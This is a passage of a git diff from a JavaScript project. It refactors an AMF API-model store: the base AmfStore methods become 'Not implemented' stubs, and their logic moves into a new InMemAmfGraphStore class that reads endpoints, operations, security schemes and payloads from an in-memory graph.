-    result.encodesId = encodes && encodes['@id'];
-    const api = this._computeApi(amf);
-    const isApi = !!api;
-    result.isApi = isApi;
-    const { ns } = this;
-    if (isApi) {
-      result.isAsync = this._isAsyncAPI(amf);
-    } else if (result.types[0] === ns.aml.vocabularies.document.Module) {
-      result.isLibrary = true;
-    } else {
-      const fragmentTypes = [
-        ns.aml.vocabularies.security.SecuritySchemeFragment,
-        ns.aml.vocabularies.apiContract.UserDocumentationFragment,
-        ns.aml.vocabularies.shapes.DataTypeFragment,
-      ];
-      result.isFragment = fragmentTypes.some(type => result.types.includes(type));
-    }
-    return result;
+    throw new Error('Not implemented');
   }
 
   /**
    * @returns {Promise<ApiSummary|null>} API summary for the summary view.
    */
   async apiSummary() {
-    const { amf } = this;
-    if (!amf) {
-      return null;
-    }
-    const api = this._computeApi(amf);
-    if (!api) {
-      return null;
-    }
-    const result = this.serializer.apiSummary(api);
-    return result;
+    throw new Error('Not implemented');
   }
 
   /**
    * @returns {Promise<string[]|null>} Currently loaded API's protocols
    */
   async apiProtocols() {
-    const { amf } = this;
-    if (!amf) {
-      return null;
-    }
-    const wa = this._computeApi(this.amf);
-    const protocols = /** @type string[] */ (this._getValueArray(wa, this.ns.aml.vocabularies.apiContract.scheme));
-    return protocols;
+    throw new Error('Not implemented');
   }
 
   /**
    * @returns {Promise<string|null>} Currently loaded API's version
    */
   async apiVersion() {
-    const { amf } = this;
-    if (!amf) {
-      return null;
-    }
-    const version = this._computeApiVersion(amf);
-    return version;
-  }
-
-  /**
-   * Finds an endpoint in the graph.
-   * @param {string} id The domain id of the endpoint.
-   * @returns {ApiEndPoint|null} 
-   * @private
-   */
-  findEndpoint(id) {
-    const { amf } = this;
-    if (!amf) {
-      return null;
-    }
-    const api = this._computeApi(amf);
-    if (!api) {
-      return null;
-    }
-    const endpoint = this._computeEndpointModel(api, id);
-    if (!endpoint) {
-      throw new Error(`Endpoint ${id} does not exist.`);
-    }
-    const result = this.serializer.endPoint(endpoint);
-    return result;
+    throw new Error('Not implemented');
   }
   
   /**
@@ -191,7 +76,7 @@ export class AmfStore extends AmfHelperMixin(Object) {
    * @returns {Promise<ApiEndPoint|null>} 
    */
   async getEndpoint(id) {
-    return this.findEndpoint(id);
+    throw new Error('Not implemented');
   }
 
   /**
@@ -200,24 +85,7 @@ export class AmfStore extends AmfHelperMixin(Object) {
    * @returns {Promise<ApiEndPoint|null>} 
    */
   async getEndpointByPath(path) {
-    const { amf } = this;
-    if (!amf) {
-      return null;
-    }
-    const api = this._computeApi(amf);
-    if (!api) {
-      return null;
-    }
-    const endpoints = this._computeEndpoints(api);
-    if (!Array.isArray(endpoints) || !endpoints.length) {
-      throw new Error(`This API has no endpoints.`);
-    }
-    const endpoint = endpoints.find((e) => this._getValue(e, this.ns.aml.vocabularies.apiContract.path) === path);
-    if (!endpoint) {
-      throw new Error(`Endpoint ${endpoint} does not exist.`);
-    }
-    const result = this.serializer.endPoint(endpoint);
-    return result;
+    throw new Error('Not implemented');
   }
 
   /**
@@ -225,19 +93,7 @@ export class AmfStore extends AmfHelperMixin(Object) {
    * @returns {Promise<ApiEndPointWithOperationsListItem[]>}
    */
   async listEndpointsWithOperations() {
-    const { amf } = this;
-    if (!amf) {
-      return null;
-    }
-    const api = this._computeApi(amf);
-    if (!api) {
-      return [];
-    }
-    const endpoints = this._computeEndpoints(api);
-    if (!Array.isArray(endpoints) || !endpoints.length) {
-      return [];
-    }
-    return endpoints.map((ep) => this.serializer.endPointWithOperationsListItem(ep));
+    throw new Error('Not implemented');
   }
 
   /**
@@ -246,60 +102,7 @@ export class AmfStore extends AmfHelperMixin(Object) {
    * @returns {Promise<ApiServer[]>} The list of servers for given query.
    */
   async queryServers(query) {
-    const { amf } = this;
-    if (!amf) {
-      return null;
-    }
-    const servers = this._getServers(query);
-    if (!Array.isArray(servers)) {
-      return [];
-    }
-    return servers.map(s => this.serializer.server(s));
-  }
-
-  /**
-   * Searches for an operation in the API.
-   * @param {string} operationId The domain id of the operation to read.
-   * @param {string=} endpointId Optional endpoint id. When not set it searches through all endpoints.
-   * @returns {ApiOperation|undefined}
-   */
-  findOperation(operationId, endpointId) {
-    if (endpointId) {
-      const ep = this.findEndpoint(endpointId);
-      if (!ep) {
-        return undefined;
-      }
-      return ep.operations.find((op) => op.id === operationId || op.method === operationId);
-    }
-    const { amf } = this;
-    if (!amf) {
-      return null;
-    }
-    const api = this._computeApi(amf);
-    if (!api) {
-      return null;
-    }
-    const endpoints = this._computeEndpoints(api);
-    if (!endpoints) {
-      return undefined;
-    }
-    const { apiContract } = this.ns.aml.vocabularies;
-    const opKey = this._getAmfKey(apiContract.supportedOperation);
-    for (const endpoint of endpoints) {
-      let operations = endpoint[opKey];
-      if (!operations) {
-        continue;
-      }
-      if (!Array.isArray(operations)) {
-        operations = [operations];
-      }
-      for (const operation of operations) {
-        if (operation['@id'] === operationId || this._getValue(operation, apiContract.method) === operationId) {
-          return this.serializer.operation(operation);
-        }
-      }
-    }
-    return undefined;
+    throw new Error('Not implemented');
   }
 
   /**
@@ -309,11 +112,7 @@ export class AmfStore extends AmfHelperMixin(Object) {
    * @returns {Promise<ApiOperation>}
    */
   async getOperation(operationId, endpointId) {
-    const op = this.findOperation(operationId, endpointId);
-    if (!op) {
-      throw new Error(`No operation ${operationId} in the graph`);
-    }
-    return op;
+    throw new Error('Not implemented');
   }
 
   /**
@@ -322,20 +121,7 @@ export class AmfStore extends AmfHelperMixin(Object) {
    * @returns {Promise<ApiEndPoint|undefined>}
    */
   async getOperationParent(id) {
-    const { amf } = this;
-    if (!amf) {
-      return null;
-    }
-    const api = this._computeApi(amf);
-    if (!api) {
-      return null;
-    }
-    const endpoint = this._computeMethodEndpoint(api, id);
-    if (!endpoint) {
-      throw new Error(`Operation ${id} does not exist.`);
-    }
-    const result = this.serializer.endPoint(endpoint);
-    return result;
+    throw new Error('Not implemented');
   }
 
   /**
@@ -343,17 +129,7 @@ export class AmfStore extends AmfHelperMixin(Object) {
    * @returns {Promise<ApiDocumentation[]>}
    */
   async listDocumentations() {
-    const { amf } = this;
-    if (!amf) {
-      return null;
-    }
-    const api = this._computeApi(amf);
-    if (!api) {
-      return null;
-    }
-    const key = this._getAmfKey(this.ns.aml.vocabularies.core.CreativeWork);
-    const docs = this._ensureArray(api[key]);
-    return docs.map((doc) => this.serializer.documentation(doc));
+    throw new Error('Not implemented');
   }
 
   /**
@@ -362,26 +138,7 @@ export class AmfStore extends AmfHelperMixin(Object) {
    * @returns {Promise<ApiDocumentation|undefined>} The read documentation.
    */
   async getDocumentation(id) {
-    const { amf } = this;
-    if (!amf) {
-      return null;
-    }
-    const types = this.getDocumentTypes();
-    // when we have loaded Documentation fragment then the id doesn't matter.
-    if (types.includes(this.ns.aml.vocabularies.apiContract.UserDocumentationFragment)) {
-      const encodes = this._computeEncodes(amf);
-      return this.serializer.documentation(encodes);
-    }
-    const api = this._computeApi(amf);
-    if (!api) {
-      return null;
-    }
-    const creative = this._computeDocument(api, id);
-    if (!creative) {
-      throw new Error(`Documentation ${id} does not exist.`);
-    }
-    const result = this.serializer.documentation(creative);
-    return result;
+    throw new Error('Not implemented');
   }
 
   /**
@@ -390,21 +147,7 @@ export class AmfStore extends AmfHelperMixin(Object) {
    * @returns {Promise<ApiSecurityScheme>}
    */
   async getSecurityScheme(id) {
-    const types = this.getDocumentTypes();
-    // when we have loaded Security fragment then the id doesn't matter.
-    if (types.includes(this.ns.aml.vocabularies.security.SecuritySchemeFragment)) {
-      const { amf } = this;
-      if (!amf) {
-        return undefined;
-      }
-      const encodes = this._computeEncodes(amf);
-      return this.serializer.securityScheme(encodes);
-    }
-    const object = this.findSecurityScheme(id);
-    if (!object) {
-      throw new Error(`No SecurityRequirement for ${id}`);
-    }
-    return this.serializer.securityScheme(object);
+    throw new Error('Not implemented');
   }
 
   /**
@@ -413,34 +156,7 @@ export class AmfStore extends AmfHelperMixin(Object) {
    * @returns {Promise<ApiSecurityRequirement>}
    */
   async getSecurityRequirement(id) {
-    const { amf } = this;
-    if (!amf) {
-      return undefined;
-    }
-    const wa = this._computeApi(amf);
-    if (!wa) {
-      return undefined;
-    }
-    const endpoints = wa[this._getAmfKey(this.ns.aml.vocabularies.apiContract.endpoint)];
-    if (!Array.isArray(endpoints)) {
-      return undefined;
-    }
-    for (const endpoint of endpoints) {
-      const operations = endpoint[this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation)];
-      if (Array.isArray(operations)) {
-        for (const operation of operations) {
-          const securityList = operation[this._getAmfKey(this.ns.aml.vocabularies.security.security)];
-          if (Array.isArray(securityList)) {
-            for (const security of securityList) {
-              if (security['@id'] === id) {
-                return this.serializer.securityRequirement(security);
-              }
-            }
-          }
-        }
-      }
-    }
-    return undefined;
+    throw new Error('Not implemented');
   }
 
   /**
@@ -448,7 +164,7 @@ export class AmfStore extends AmfHelperMixin(Object) {
    * @returns {Promise<ApiSecuritySchemeListItem[]>}
    */
   async listSecurity() {
-    throw new Error(`Not implemented`);
+    throw new Error('Not implemented');
   }
 
   /**
@@ -457,34 +173,7 @@ export class AmfStore extends AmfHelperMixin(Object) {
    * @returns {Promise<ApiRequest>}
    */
   async getRequest(id) {
-    const { amf } = this;
-    if (!amf) {
-      return undefined;
-    }
-    const wa = this._computeApi(amf);
-    if (!wa) {
-      return undefined;
-    }
-    const endpoints = wa[this._getAmfKey(this.ns.aml.vocabularies.apiContract.endpoint)];
-    if (!Array.isArray(endpoints)) {
-      return undefined;
-    }
-    for (const endpoint of endpoints) {
-      const operations = endpoint[this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation)];
-      if (Array.isArray(operations)) {
-        for (const operation of operations) {
-          const expectsList = operation[this._getAmfKey(this.ns.aml.vocabularies.apiContract.expects)];
-          if (Array.isArray(expectsList)) {
-            for (const expects of expectsList) {
-              if (expects['@id'] === id) {
-                return this.serializer.request(expects);
-              }
-            }
-          }
-        }
-      }
-    }
-    return undefined;
+    throw new Error('Not implemented');
   }
 
   /**
@@ -493,52 +182,7 @@ export class AmfStore extends AmfHelperMixin(Object) {
    * @returns {Promise<ApiResponse>}
    */
   async getResponse(id) {
-    const { amf } = this;
-    if (!amf) {
-      return undefined;
-    }
-    const wa = this._computeApi(amf);
-    if (!wa) {
-      return undefined;
-    }
-    const endpoints = wa[this._getAmfKey(this.ns.aml.vocabularies.apiContract.endpoint)];
-    if (!Array.isArray(endpoints)) {
-      return undefined;
-    }
-    for (const endpoint of endpoints) {
-      const operations = endpoint[this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation)];
-      if (Array.isArray(operations)) {
-        for (const operation of operations) {
-          const returnsList = operation[this._getAmfKey(this.ns.aml.vocabularies.apiContract.returns)];
-          if (Array.isArray(returnsList)) {
-            for (const returns of returnsList) {
-              if (returns['@id'] === id) {
-                return this.serializer.response(returns);
-              }
-            }
-          }
-        }
-      }
-    }
-    return undefined;
-  }
-
-  /**
-   * Finds a payload in a request or a response object.
-   * @param {DomainElement} object
-   * @param {string} domainId
-   * @returns {ApiPayload|undefined}
-   */
-  findPayload(object, domainId) {
-    const list = object[this._getAmfKey(this.ns.aml.vocabularies.apiContract.payload)];
-    if (!Array.isArray(list) || !list.length) {
-      return undefined;
-    }
-    const model = list.find(i => i['@id'] === domainId);
-    if (!model) {
-      return undefined;
-    }
-    return this.serializer.payload(model);
+    throw new Error('Not implemented');
   }
 
   /**
@@ -547,44 +191,7 @@ export class AmfStore extends AmfHelperMixin(Object) {
    * @returns {Promise<ApiPayload>}
    */
   async getPayload(id) {
-    const { amf } = this;
-    if (!amf) {
-      return undefined;
-    }
-    const wa = this._computeApi(amf);
-    if (!wa) {
-      return undefined;
-    }
-    const endpoints = wa[this._getAmfKey(this.ns.aml.vocabularies.apiContract.endpoint)];
-    if (!Array.isArray(endpoints)) {
-      return undefined;
-    }
-    for (const endpoint of endpoints) {
-      const operations = endpoint[this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation)];
-      if (Array.isArray(operations)) {
-        for (const operation of operations) {
-          const expectsList = operation[this._getAmfKey(this.ns.aml.vocabularies.apiContract.expects)];
-          if (Array.isArray(expectsList)) {
-            for (const expects of expectsList) {
-              const payload = this.findPayload(expects, id);
-              if (payload) {
-                return payload;
-              }
-            }
-          }
-          const returnsList = operation[this._getAmfKey(this.ns.aml.vocabularies.apiContract.returns)];
-          if (Array.isArray(returnsList)) {
-            for (const returns of returnsList) {
-              const payload = this.findPayload(returns, id);
-              if (payload) {
-                return payload;
-              }
-            }
-          }
-        }
-      }
-    }
-    return undefined;
+    throw new Error('Not implemented');
   }
 
   /**
@@ -600,22 +207,6 @@ export class AmfStore extends AmfHelperMixin(Object) {
    * @returns {Promise<ApiShapeUnion>}
    */
   async getType(id) {
-    const { amf } = this;
-    if (!amf) {
-      return undefined;
-    }
-    const types = this.getDocumentTypes();
-    // when we have loaded Type fragment then the id doesn't matter.
-    if (types.includes(this.ns.aml.vocabularies.shapes.DataTypeFragment)) {
-      const encodes = this._computeEncodes(amf);
-      return this.serializer.unknownShape(encodes);
-    }
-    const declares = this._computeDeclares(amf);
-    const references = this._computeReferences(amf);
-    const type = this._computeType(declares, references, id);
-    if (!type) {
-      return undefined;
-    }
-    return this.serializer.unknownShape(type);
+    throw new Error('Not implemented');
   }
 }
diff --git a/src/store/DomEventsAmfStore.d.ts b/src/store/DomEventsAmfStore.d.ts
index c13f323..e77f11f 100644
--- a/src/store/DomEventsAmfStore.d.ts
+++ b/src/store/DomEventsAmfStore.d.ts
@@ -1,6 +1,6 @@
-import { AmfStore } from './AmfStore';
+import { InMemAmfGraphStore } from './InMemAmfGraphStore';
 import { AmfStoreDomEventsMixin } from './mixins/AmfStoreDomEventsMixin';
 
-export class DomEventsAmfStore extends AmfStoreDomEventsMixin(AmfStore) {
+export class DomEventsAmfStore extends AmfStoreDomEventsMixin(InMemAmfGraphStore) {
   
 }
diff --git a/src/store/DomEventsAmfStore.js b/src/store/DomEventsAmfStore.js
index 49c76cb..f17f04c 100644
--- a/src/store/DomEventsAmfStore.js
+++ b/src/store/DomEventsAmfStore.js
@@ -1,6 +1,6 @@
-import { AmfStore } from './AmfStore.js';
+import { InMemAmfGraphStore } from './InMemAmfGraphStore.js';
 import { AmfStoreDomEventsMixin } from './mixins/AmfStoreDomEventsMixin.js';
 
-export class DomEventsAmfStore extends AmfStoreDomEventsMixin(AmfStore) {
+export class DomEventsAmfStore extends AmfStoreDomEventsMixin(InMemAmfGraphStore) {
   
 }
diff --git a/src/store/InMemAmfGraphStore.d.ts b/src/store/InMemAmfGraphStore.d.ts
new file mode 100644
index 0000000..aecc981
--- /dev/null
+++ b/src/store/InMemAmfGraphStore.d.ts
@@ -0,0 +1,176 @@
+import { AmfHelperMixin } from '../helpers/AmfHelperMixin';
+import { AmfSerializer } from '../helpers/AmfSerializer';
+import { AmfDocument, DomainElement } from '../helpers/amf';
+import { ApiSummary, ApiEndPoint, ApiOperation, ServersQueryOptions, ApiServer, ApiDocumentation, ApiSecurityScheme, ApiSecurityRequirement, ApiRequest, ApiResponse, ApiPayload, ApiShapeUnion } from '../helpers/api';
+import { DocumentMeta, ApiEndPointWithOperationsListItem, ApiSecuritySchemeListItem, ApiNodeShapeListItem } from '../types';
+import { AmfStore } from './AmfStore.js';
+
+/**
+ * The store that provides an API to read data from the AMF graph model.
+ * The graph model is kept in memory in a form of a Raw ld+json graph representation of the 
+ * AMF's domain model.
+ */
+export class InMemAmfGraphStore extends AmfHelperMixin(AmfStore) {
+  /**
+   * The event target to dispatch the events on.
+   */
+  target: EventTarget;
+  /**
+   * The full API model.
+   */
+  amf: AmfDocument;
+  /** 
+   * The API serializer
+   */
+  serializer: AmfSerializer;
+  /** 
+   * For future use.
+   * Indicates that this store is read only.
+   */
+  readonly?: boolean;
+  /**
+   * @param eventsTarget The event target to dispatch the events on.
+   * @param graph The full API model.
+   */
+  constructor(eventsTarget?: EventTarget, graph?: AmfDocument);
+
+  __amfChanged(amf: AmfDocument): void;
+
+  /**
+   * @returns The list of domain types for the currently loaded document.
+   */
+  getDocumentTypes(): string[];
+
+  /**
+   * Gathers information about the loaded document.
+   * This is mainly used by the `api-documentation` element to decide which documentation to render.
+   */
+  documentMeta(): Promise<DocumentMeta>;
+
+  /**
+   * @returns API summary for the summary view.
+   */
+  apiSummary(): Promise<ApiSummary|null>;
+
+  /**
+   * @returns Currently loaded API's protocols
+   */
+  apiProtocols(): Promise<string[]|null>;
+
+  /**
+   * @returns Currently loaded API's version
+   */
+  apiVersion(): Promise<string|null>;
+
+  /**
+   * Finds an endpoint in the graph.
+   * @param id The domain id of the endpoint.
+   */
+  private findEndpoint(id: string): ApiEndPoint|null;
+  
+  /**
+   * Reads an endpoint by its id.
+   * @param id The domain id of the endpoint.
+   */
+  getEndpoint(id: string): Promise<ApiEndPoint|null>;
+
+  /**
+   * Reads an endpoint by its path.
+   * @param path The path value of the endpoint or channel name.
+   */
+  getEndpointByPath(path: string): Promise<ApiEndPoint|null>;
+
+  /**
+   * Lists all endpoints with operations included into the result.
+   */
+  listEndpointsWithOperations(): Promise<ApiEndPointWithOperationsListItem[]>;
+
+  /**
+   * Queries for the list of servers for method, if defined, or endpoint, if defined, or root level 
+   * @param query Server query options
+   * @returns The list of servers for given query.
+   */
+  queryServers(query?: ServersQueryOptions): Promise<ApiServer[]>;
+
+  /**
+   * Searches for an operation in the API.
+   * @param operationId The domain id of the operation to read.
+   * @param endpointId Optional endpoint id. When not set it searches through all endpoints.
+   */
+  private findOperation(operationId: string, endpointId?: string): ApiOperation|undefined;
+
+  /**
+   * Reads the operation model.
+   * @param operationId The domain id of the operation to read.
+   * @param endpointId Optional endpoint id. When not set it searches through all endpoints.
+   */
+  getOperation(operationId: string, endpointId?: string): Promise<ApiOperation>;
+
+  /**
+   * Finds an endpoint that has the operation.
+   * @param id Method name or the domain id of the operation to find
+   */
+  getOperationParent(id: string): Promise<ApiEndPoint|undefined>;
+
+  /**
+   * Lists the documentation definitions for the API.
+   */
+  listDocumentations(): Promise<ApiDocumentation[]>;
+
+  /**
+   * Reads the documentation object from the store.
+   * @param id The domain id of the documentation object
+   * @returns The read documentation.
+   */
+  getDocumentation(id: string): Promise<ApiDocumentation|undefined>;
+
+  /**
+   * Reads the SecurityScheme object from the graph.
+   * @param id The domain id of the SecurityScheme
+   */
+  getSecurityScheme(id: string): Promise<ApiSecurityScheme>;
+
+  /**
+   * Reads the SecurityRequirement object from the graph.
+   * @param id The domain id of the SecurityRequirement
+   */
+  getSecurityRequirement(id: string): Promise<ApiSecurityRequirement>;
+
+  /**
+   * Lists the security definitions for the API.
+   */
+  listSecurity(): Promise<ApiSecuritySchemeListItem[]>;
+
+  /**
+   * Reads the Request object from the graph.
+   * @param id The domain id of the Request
+   */
+  getRequest(id: string): Promise<ApiRequest>;
+
+  /**
+   * Reads the response data from the graph.
+   * @param id The domain id of the response.
+   */
+  getResponse(id: string): Promise<ApiResponse>;
+
+  /**
+   * Finds a payload in a request or a response object.
+   */
+  private findPayload(object: DomainElement, domainId: string): ApiPayload|undefined;
+
+  /**
+   * Reads Payload data from the graph
+   * @param id The domain id of the payload
+   */
+  getPayload(id: string): Promise<ApiPayload>;
+
+  /**
+   * Lists the type (schema) definitions for the API.
+   */
+  listTypes(): Promise<ApiNodeShapeListItem[]>;
+
+  /**
+   * @param id The domain id of the API type (schema).
+   */
+  getType(id: string): Promise<ApiShapeUnion>;
+}
diff --git a/src/store/InMemAmfGraphStore.js b/src/store/InMemAmfGraphStore.js
new file mode 100644
index 0000000..592430d
--- /dev/null
+++ b/src/store/InMemAmfGraphStore.js
@@ -0,0 +1,619 @@
+/* eslint-disable no-unused-vars */
+/* eslint-disable class-methods-use-this */
+/* eslint-disable no-continue */
+import { AmfHelperMixin } from '../helpers/AmfHelperMixin.js';
+import { AmfSerializer } from '../helpers/AmfSerializer.js';
+import { StoreEvents } from '../events/StoreEvents.js';
+import { AmfStore } from './AmfStore.js';
+
+/** @typedef {import('../helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../helpers/amf').DomainElement} DomainElement */
+/** @typedef {import('../helpers/api').ApiSummary} ApiSummary */
+/** @typedef {import('../helpers/api').ApiEndPoint} ApiEndPoint */
+/** @typedef {import('../helpers/api').ApiOperation} ApiOperation */
+/** @typedef {import('../helpers/api').ServersQueryOptions} ServersQueryOptions */
+/** @typedef {import('../helpers/api').ApiServer} ApiServer */
+/** @typedef {import('../helpers/api').ApiDocumentation} ApiDocumentation */
+/** @typedef {import('../helpers/api').ApiSecurityScheme} ApiSecurityScheme */
+/** @typedef {import('../helpers/api').ApiSecurityRequirement} ApiSecurityRequirement */
+/** @typedef {import('../helpers/api').ApiRequest} ApiRequest */
+/** @typedef {import('../helpers/api').ApiResponse} ApiResponse */
+/** @typedef {import('../helpers/api').ApiPayload} ApiPayload */
+/** @typedef {import('../helpers/api').ApiShapeUnion} ApiShapeUnion */
+/** @typedef {import('../types').ApiEndPointWithOperationsListItem} ApiEndPointWithOperationsListItem */
+/** @typedef {import('../types').ApiSecuritySchemeListItem} ApiSecuritySchemeListItem */
+/** @typedef {import('../types').ApiNodeShapeListItem} ApiNodeShapeListItem */
+/** @typedef {import('../types').DocumentMeta} DocumentMeta */
+
+/**
+ * The store that provides an API to read data from the AMF graph model.
+ * The graph model is kept in memory in a form of a Raw ld+json graph representation of the 
+ * AMF's domain model.
+ */
+export class InMemAmfGraphStore extends AmfHelperMixin(AmfStore) {
+  /**
+   * @param {EventTarget=} eventsTarget The event target to dispatch the events on.
+   * @param {AmfDocument=} graph The full API model.
+   */
+  constructor(eventsTarget=window, graph) {
+    super();
+    this.target = eventsTarget;
+    let amf = graph;
+    if (Array.isArray(graph)) {
+      [amf] = graph;
+    }
+    /** 
+     * The API serializer
+     */
+    this.serializer = new AmfSerializer(amf);
+    /** 
+     * The graph model.
+     */
+    this.amf = amf;
+  }
+
+  /**
+   * @param {AmfDocument} amf
+   */
+  __amfChanged(amf) {
+    this.serializer.amf = amf;
+    if (this.target) {
+      StoreEvents.graphChange(this.target);
+    }
+  }
+
+  /**
+   * @returns {string[]} The list of domain types for the currently loaded document.
+   */
+  getDocumentTypes() {
+    let { amf } = this;
+    if (Array.isArray(amf)) {
+      [amf] = amf;
+    }
+    if (!amf) {
+      return [];
+    }
+    return this.serializer.readTypes(amf['@type']);
+  }
+
+  /**
+   * Gathers information about the loaded document.
+   * This is mainly used by the `api-documentation` element to decide which documentation to render.
+   * 
+   * @returns {Promise<DocumentMeta>}
+   */
+  async documentMeta() {
+    const result = /** @type DocumentMeta */ ({
+      isApi: false,
+      isAsync: false,
+      isFragment: false,
+      isLibrary: false,
+      types: this.getDocumentTypes(),
+      encodesId: undefined,
+    });
+    let { amf } = this;
+    if (Array.isArray(amf)) {
+      [amf] = amf;
+    }
+    if (!amf) {
+      return result;
+    }
+    const encodes = this._computeEncodes(amf);
+    result.encodesId = encodes && encodes['@id'];
+    const api = this._computeApi(amf);
+    const isApi = !!api;
+    result.isApi = isApi;
+    const { ns } = this;
+    if (isApi) {
+      result.isAsync = this._isAsyncAPI(amf);
+    } else if (result.types[0] === ns.aml.vocabularies.document.Module) {
+      result.isLibrary = true;
+    } else {
+      const fragmentTypes = [
+        ns.aml.vocabularies.security.SecuritySchemeFragment,
+        ns.aml.vocabularies.apiContract.UserDocumentationFragment,
+        ns.aml.vocabularies.shapes.DataTypeFragment,
+      ];
+      result.isFragment = fragmentTypes.some(type => result.types.includes(type));
+    }
+    return result;
+  }
+
+  /**
+   * @returns {Promise<ApiSummary|null>} API summary for the summary view.
+   */
+  async apiSummary() {
+    const { amf } = this;
+    if (!amf) {
+      return null;
+    }
+    const api = this._computeApi(amf);
+    if (!api) {
+      return null;
+    }
+    const result = this.serializer.apiSummary(api);
+    return result;
+  }
+
+  /**
+   * @returns {Promise<string[]|null>} Currently loaded API's protocols
+   */
+  async apiProtocols() {
+    const { amf } = this;
+    if (!amf) {
+      return null;
+    }
+    const wa = this._computeApi(this.amf);
+    const protocols = /** @type string[] */ (this._getValueArray(wa, this.ns.aml.vocabularies.apiContract.scheme));
+    return protocols;
+  }
+
+  /**
+   * @returns {Promise<string|null>} Currently loaded API's version
+   */
+  async apiVersion() {
+    const { amf } = this;
+    if (!amf) {
+      return null;
+    }
+    const version = this._computeApiVersion(amf);
+    return version;
+  }
+
+  /**
+   * Finds an endpoint in the graph.
+   * @param {string} id The domain id of the endpoint.
+   * @returns {ApiEndPoint|null} 
+   * @private
+   */
+  findEndpoint(id) {
+    const { amf } = this;
+    if (!amf) {
+      return null;
+    }
+    const api = this._computeApi(amf);
+    if (!api) {
+      return null;
+    }
+    const endpoint = this._computeEndpointModel(api, id);
+    if (!endpoint) {
+      throw new Error(`Endpoint ${id} does not exist.`);
+    }
+    const result = this.serializer.endPoint(endpoint);
+    return result;
+  }
+  
+  /**
+   * Reads an endpoint by its id.
+   * @param {string} id The domain id of the endpoint.
+   * @returns {Promise<ApiEndPoint|null>} 
+   */
+  async getEndpoint(id) {
+    return this.findEndpoint(id);
+  }
+
+  /**
+   * Reads an endpoint by its path.
+   * @param {string} path The path value of the endpoint or channel name.
+   * @returns {Promise<ApiEndPoint|null>} 
+   */
+  async getEndpointByPath(path) {
+    const { amf } = this;
+    if (!amf) {
+      return null;
+    }
+    const api = this._computeApi(amf);
+    if (!api) {
+      return null;
+    }
+    const endpoints = this._computeEndpoints(api);
+    if (!Array.isArray(endpoints) || !endpoints.length) {
+      throw new Error(`This API has no endpoints.`);
+    }
+    const endpoint = endpoints.find((e) => this._getValue(e, this.ns.aml.vocabularies.apiContract.path) === path);
+    if (!endpoint) {
+      throw new Error(`Endpoint ${endpoint} does not exist.`);
+    }
+    const result = this.serializer.endPoint(endpoint);
+    return result;
+  }
+
+  /**
+   * Lists all endpoints with operations included into the result.
+   * @returns {Promise<ApiEndPointWithOperationsListItem[]>}
+   */
+  async listEndpointsWithOperations() {
+    const { amf } = this;
+    if (!amf) {
+      return null;
+    }
+    const api = this._computeApi(amf);
+    if (!api) {
+      return [];
+    }
+    const endpoints = this._computeEndpoints(api);
+    if (!Array.isArray(endpoints) || !endpoints.length) {
+      return [];
+    }
+    return endpoints.map((ep) => this.serializer.endPointWithOperationsListItem(ep));
+  }
+
+  /**
+   * Queries for the list of servers for method, if defined, or endpoint, if defined, or root level 
+   * @param {ServersQueryOptions=} query Server query options
+   * @returns {Promise<ApiServer[]>} The list of servers for given query.
+   */
+  async queryServers(query) {
+    const { amf } = this;
+    if (!amf) {
+      return null;
+    }
+    const servers = this._getServers(query);
+    if (!Array.isArray(servers)) {
+      return [];
+    }
+    return servers.map(s => this.serializer.server(s));
+  }
+
+  /**
+   * Searches for an operation in the API.
+   * @param {string} operationId The domain id of the operation to read.
+   * @param {string=} endpointId Optional endpoint id. When not set it searches through all endpoints.
+   * @returns {ApiOperation|undefined}
+   */
+  findOperation(operationId, endpointId) {
+    if (endpointId) {
+      const ep = this.findEndpoint(endpointId);
+      if (!ep) {
+        return undefined;
+      }
+      return ep.operations.find((op) => op.id === operationId || op.method === operationId);
+    }
+    const { amf } = this;
+    if (!amf) {
+      return null;
+    }
+    const api = this._computeApi(amf);
+    if (!api) {
+      return null;
+    }
+    const endpoints = this._computeEndpoints(api);
+    if (!endpoints) {
+      return undefined;
+    }
+    const { apiContract } = this.ns.aml.vocabularies;
+    const opKey = this._getAmfKey(apiContract.supportedOperation);
+    for (const endpoint of endpoints) {
+      let operations = endpoint[opKey];
+      if (!operations) {
+        continue;
+      }
+      if (!Array.isArray(operations)) {
+        operations = [operations];
+      }
+      for (const operation of operations) {
+        if (operation['@id'] === operationId || this._getValue(operation, apiContract.method) === operationId) {
+          return this.serializer.operation(operation);
+        }
+      }
+    }
+    return undefined;
+  }
+
+  /**
+   * Reads the operation model.
+   * @param {string} operationId The domain id of the operation to read.
+   * @param {string=} endpointId Optional endpoint id. When not set it searches through all endpoints.
+   * @returns {Promise<ApiOperation>}
+   */
+  async getOperation(operationId, endpointId) {
+    const op = this.findOperation(operationId, endpointId);
+    if (!op) {
+      throw new Error(`No operation ${operationId} in the graph`);
+    }
+    return op;
+  }
+
+  /**
+   * Finds an endpoint that has the operation.
+   * @param {string} id Method name or the domain id of the operation to find
+   * @returns {Promise<ApiEndPoint|undefined>}
+   */
+  async getOperationParent(id) {
+    const { amf } = this;
+    if (!amf) {
+      return null;
+    }
+    const api = this._computeApi(amf);
+    if (!api) {
+      return null;
+    }
+    const endpoint = this._computeMethodEndpoint(api, id);
+    if (!endpoint) {
+      throw new Error(`Operation ${id} does not exist.`);
+    }
+    const result = this.serializer.endPoint(endpoint);
+    return result;
+  }
+
+  /**
+   * Lists the documentation definitions for the API.
+   * @returns {Promise<ApiDocumentation[]>}
+   */
+  async listDocumentations() {
+    const { amf } = this;
+    if (!amf) {
+      return null;
+    }
+    const api = this._computeApi(amf);
+    if (!api) {
+      return null;
+    }
+    const key = this._getAmfKey(this.ns.aml.vocabularies.core.CreativeWork);
+    const docs = this._ensureArray(api[key]);
+    return docs.map((doc) => this.serializer.documentation(doc));
+  }
+
+  /**
+   * Reads the documentation object from the store.
+   * @param {string} id The domain id of the documentation object
+   * @returns {Promise<ApiDocumentation|undefined>} The read documentation.
+   */
+  async getDocumentation(id) {
+    const { amf } = this;
+    if (!amf) {
+      return null;
+    }
+    const types = this.getDocumentTypes();
+    // when we have loaded Documentation fragment then the id doesn't matter.
+    if (types.includes(this.ns.aml.vocabularies.apiContract.UserDocumentationFragment)) {
+      const encodes = this._computeEncodes(amf);
+      return this.serializer.documentation(encodes);
+    }
+    const api = this._computeApi(amf);
+    if (!api) {
+      return null;
+    }
